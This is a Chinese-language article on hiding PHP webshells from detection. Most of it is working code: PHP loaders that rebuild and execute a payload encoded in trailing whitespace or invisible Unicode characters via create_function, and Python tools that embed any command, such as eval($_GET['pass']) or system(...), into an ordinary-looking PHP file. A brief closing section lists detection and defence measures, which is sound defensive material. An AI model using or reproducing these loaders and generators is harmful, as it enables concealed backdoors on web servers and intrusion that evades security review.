我们要WebShell过人!
字数 1027 2025-08-15 21:31:19
WebShell 隐蔽技术详解
1. 基础 WebShell 隐蔽技术
1.1 基于空白字符的 WebShell
原理
- 利用 PHP 文件每行末尾的空格和制表符(\t)隐藏代码
- 制表符数量代表 ASCII 码 16 进制的第一位
- 空格数量代表 ASCII 码 16 进制的第二位
- 前 15 行空白字符组成
create_function - 后续行空白字符组成实际恶意代码(如
eval($_GET["pass"]);)
示例代码
<?php
class newDataProvider {
public function __construct() {
$f = file(__FILE__);
$c = '';
for ($i=0; $i<count($f); $i++) {
$c .= $this->dataProcessor($f[$i]);
}
$t = create_function('',"$c");
$t();
}
function dataProcessor($li) {
preg_match('/([\t ]+)\r?\n?$/', $li, $m);
if (isset($m[1])) {
$l = dechex(substr_count($m[1], "\t"));
$r = dechex(substr_count($m[1], " "));
$n = hexdec($l.$r);
return chr($n);
}
return "";
}
}
new newDataProvider();
?>
自动化生成工具
import sys
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit('usage: python hidden_webshell.py payload filename [output_filename]\n'
'example: python %s \'system("echo \\"hacked by Tr0y\\"");\' %s' % (
put_color('hidden_webshell.py', 'white'),
put_color('webshell.php', 'blue')
))
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # 'system("echo \'hacked by Tr0y\'');'
if not exp.endswith(';'):
print('[!] WARN: %s %s' % (
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
payload = 'create_function' + exp
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
for line, content in enumerate(payload):
hex_num = hex(ord(content))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16)
hidden = '\t' * tab_num + ' ' * space_num
if line < len(raw_php):
if raw_php[line].endswith('\n'):
raw_php[line] = raw_php[line][:-1] + hidden + '\n'
else:
raw_php[line] = raw_php[line] + hidden
else:
raw_php.append(hidden + "\n")
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')
2. 进阶 WebShell 隐蔽技术
2.1 使用 Unicode 不可见字符
原理
- 使用 Unicode 中的不可见字符(如 U+17B4, U+17B5)代替空格和制表符
- 大多数编辑器和命令行工具不会显示这些字符
- 将隐藏信息嵌入变量名中而非行尾,避免 PHP 解析错误
示例代码
<?php
class getHigherScore {
public function __construct() {
$lines = file(__FILE__);
$lower = $higher = '';
$count = 0;
for ($i=0; $i<count($lines); $i++) {
$value = $this->getArrayValue($lines[$i]);
if ($value) $count += 1; else continue;
if ($count < 16) $lower .= $value;
else $higher .= $value;
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($test_str) {
preg_match('/^\s\$[^឴឴឵឵]+([឴឴឵឵]+)/', $test_str, $match_test_1);
preg_match('/^\s\$.*([឴឴឵឵]+)/', $test_str, $match_test_2);
if (isset($match_test_1[0])) {
$lower_char = dechex(substr_count($match_test_1[1], "឴឴"));
$higher_char = dechex(substr_count($match_test_1[1], "឵឵"));
$result = chr(hexdec($lower_char.$higher_char));
return $result;
} else if(isset($match_test_2[0])) {
$matched = array();
$content = str_replace("឵឵", 'b', str_replace("឴឴", 'w', $match_test_2[1]));
for($i = 0; $i < strlen($content); $i++) {
$matched[$i] = $content[$i] > 1024;
if($content[$i] == $content[1]) {
$matched[$i] = 1;
}
}
return pack('H*', base_convert(preg_replace('/[^\d]+/i', "", json_encode($matched)), 2, 16));
}
return '';
}
}
$score = new getHigherScore();
?>
自动化生成工具
import re
import sys
import binascii
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit('usage: python hidden_webshell.py payload filename [output_filename]\n'
'example: python %s \'system("echo \\"hacked by Tr0y\\"");\' %s' % (
put_color('hidden_webshell.py', 'white'),
put_color('webshell.php', 'blue')
))
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # 'system("echo \'hacked by Tr0y\'');'
if not exp.endswith(';'):
print('[!] WARN: %s %s' % (
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
hidden_str = ["឴឴", "឵឵"] # U+17B4, U+17B5
payload = list('create_function' + exp)
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
last_line_num = var_count = 0
last_var = ''
for line_num, content in enumerate(raw_php):
php_var = re.findall('^\s*(\$[0-9a-zA-Z]+)\s*=', content)
if php_var:
last_var = php_var[0]
last_line_num = line_num
var_count += 1
if not var_count:
print('[!] ERROR: {}'.format(
put_color('The PHP file must contains valid $vars', 'red'),
))
replaced = {}
for line_num, content in enumerate(raw_php[:last_line_num]):
if not payload:
break
var_tmp = re.findall('^\s*(\$[0-9a-zA-Z]+)\s*=', content)
if var_tmp:
var = var_tmp[0]
content = raw_php[line_num]
char = payload.pop(0)
print('隐藏', char, content)
hex_num = hex(ord(char))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16)
replace_str = var + hidden_str[0] * tab_num + hidden_str[1] * space_num
replaced[var] = replace_str
for var in replaced:
tmp = re.findall(re.escape(var)+'(?', raw_php[line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将{raw_php[line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var])
if payload:
replace_str = bin(int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16))[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1])
replaced[last_var] = last_var[:2] + replace_str + last_var[2:]
for var in replaced:
tmp = re.findall(re.escape(var)+'(?', raw_php[last_line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将{raw_php[last_line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var])
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')
3. 检测与防御方法
3.1 检测方法
-
使用低级工具检查
- 使用
od -c命令查看文件实际内容 - 使用十六进制编辑器检查文件
- 使用
-
统计分析方法
- 检查文件中的异常空白字符分布
- 分析文件的信息熵特征
-
动态检测
- 监控 PHP 的
create_function调用 - 检查异常的文件读取行为(读取自身)
- 监控 PHP 的
3.2 防御措施
-
文件上传限制
- 严格限制上传文件类型
- 对上传的 PHP 文件进行内容检查
-
服务器配置
- 禁用危险的 PHP 函数(
create_function,eval等) - 使用安全的文件权限设置
- 禁用危险的 PHP 函数(
-
持续监控
- 部署文件完整性监控
- 设置 Web 应用防火墙(WAF)规则
4. 其他隐蔽技术
4.1 零宽度字符水印
- 利用 Unicode 零宽度字符隐藏信息
- 可用于追踪文件来源或嵌入标识信息
- 示例工具: Zero-Width-Spaces-Hiden
4.2 文件名欺骗
- 使用特殊 Unicode 字符创建类似正常文件的名称
- 例如:
index.php使用i\u17B4ndex.php - 检测方法:
ls -a | od -c
5. 总结
隐蔽 WebShell 技术的关键点:
- 利用视觉盲区 - 使用人眼难以察觉的字符或格式
- 保持表面正常 - 文件看起来像合法业务代码
- 绕过自动化检测 - 避免常见的关键字匹配和模式识别
- 多层隐藏 - 结合多种隐蔽技术提高对抗性
防御这类隐蔽 WebShell 需要结合静态分析、动态监控和行为检测等多种手段,不能依赖单一防护措施。